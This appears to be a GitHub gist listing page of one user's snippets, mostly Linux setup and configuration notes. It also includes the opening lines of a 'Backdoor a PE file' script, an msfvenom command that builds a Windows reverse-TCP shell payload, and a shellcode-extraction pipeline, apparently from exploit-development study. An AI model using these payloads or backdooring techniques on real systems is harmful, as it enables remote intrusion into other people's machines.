Skip to content

Instantly share code, notes, and snippets.


Kevin Kirsche kkirsche

View GitHub Profile
kkirsche /
Last active Sep 20, 2018
Backdoor a PE file
#!/usr/bin/env python2
import mmap
import os
import pefile
def align(val_to_align, alignment):
return ((val_to_align + alignment - 1) / alignment) * alignment
kkirsche /
Last active Sep 19, 2018
MSF to Raw Hex
# Note: the grep -v removes a line with no actual shellcode on it, it doesn't remove code
msfvenom windows/shell_reverse_tcp LHOST= LPORT=443 EXITFUNC=none --arch x86 --platform Windows --encoder generic/none --format raw | hexdump -C | grep -v 00000144 | cut -d" " -f3-19 | sed 's/ //g' | tr -d '\n'
kkirsche /
Last active Aug 23, 2018
NASM Course Requirements
kkirsche / vim8.x_with_lua
Created Jul 28, 2018 — forked from techgaun/vim8.x_with_lua
Install vim with lua support on ubuntu 16.04
View vim8.x_with_lua
I needed to install vim with lua support because I wanted to use neocomplete in my recently installed 15.04 distro. Also, this has python3 enabled by default.
Tested on 16.04 now
Update: This has been tested and verified to work on Ubuntu 16.04 as well. Also, if you wish to use particular branch/tag, you can get the version and then checkout appropriately.
The following (based upon should work though I copied it from history:
sudo apt-get remove --purge vim vim-runtime vim-gnome vim-tiny vim-common vim-gui-common
sudo apt-get build-dep vim-gnome
sudo apt-get install build-essential liblua5.3-0 liblua5.3-dev python-dev ruby-dev libperl-dev libncurses5-dev libgnome2-dev libgnomeui-dev libgtk2.0-dev libatk1.0-dev libbonoboui2-dev libcairo2-dev libx11-dev libxpm-dev libxt-dev
kkirsche / arch-linux-how-to
Created Jul 27, 2018
How to install arch linux 2018
View arch-linux-how-to
Before installing Arch Linux, make sure your computer is connected to the internet.
# dhcpcd
# ping -c 3
If none is available, stop the dhcpcd service with systemctl stop dhcpcd@<TAB> and see Network configuration.
Partitioning Disk
kkirsche / .vimrc
Last active Jul 27, 2018
Vim Configuration
View .vimrc
set nocompatible
syntax on
set nowrap
set encoding=utf8
set number
set tabstop=2
set expandtab
set autochdir
" Python ident
kkirsche /
Created Jul 18, 2018
Checks if a CentOS system requires a reboot or not. Good for login processes
# requires yum-utils to be installed
if ! needs-restarting -r 2>&1 >> /dev/null; then
echo '**System Restart Required**'
kkirsche /
Last active Jul 10, 2018
Shellcode C Harness
if [ $# -ne 1 ]; then
echo "{$0} <program to dump as shellcode>"
exit 1
objdump -d ./${1}|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
kkirsche /
Last active Apr 25, 2018
Jinja Environments
from jinja2 import Environment, FileSystemLoader, select_autoescape
jinja_env = Environment(loader=FileSystemLoader('/path/to/templates', followlinks=True), autoescape=select_autoescape([]))
tmpl = jinja_env.get_template('template_name')
view = tmpl.render(values=values)
kkirsche / python-setup.txt
Last active Apr 11, 2018
CentOS 7 Python / Sublime Text Setup
View python-setup.txt
# Installation
sudo yum update
sudo yum install -y epel-release
sudo yum install -y python34 python34-setuptools
sudo easy_install-3.4 pip
# Project Setup
mkdir -p ~/dev/project_name
cd ~/dev/project_name
python3 -m venv venv